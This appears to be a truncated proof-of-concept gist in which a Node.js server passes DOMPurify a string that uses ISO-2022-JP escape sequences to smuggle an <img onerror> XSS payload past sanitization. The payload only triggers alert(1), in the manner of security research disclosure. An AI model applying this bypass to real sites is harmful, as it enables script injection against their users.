This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const createDOMPurify = require("dompurify"); | |
const { JSDOM } = require("jsdom"); | |
const http = require("http"); | |
const server = http.createServer((req, res) => { | |
const window = new JSDOM("").window; | |
const DOMPurify = createDOMPurify(window); | |
const clean = DOMPurify.sanitize(`<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>`); | |
res.statusCode = 200; |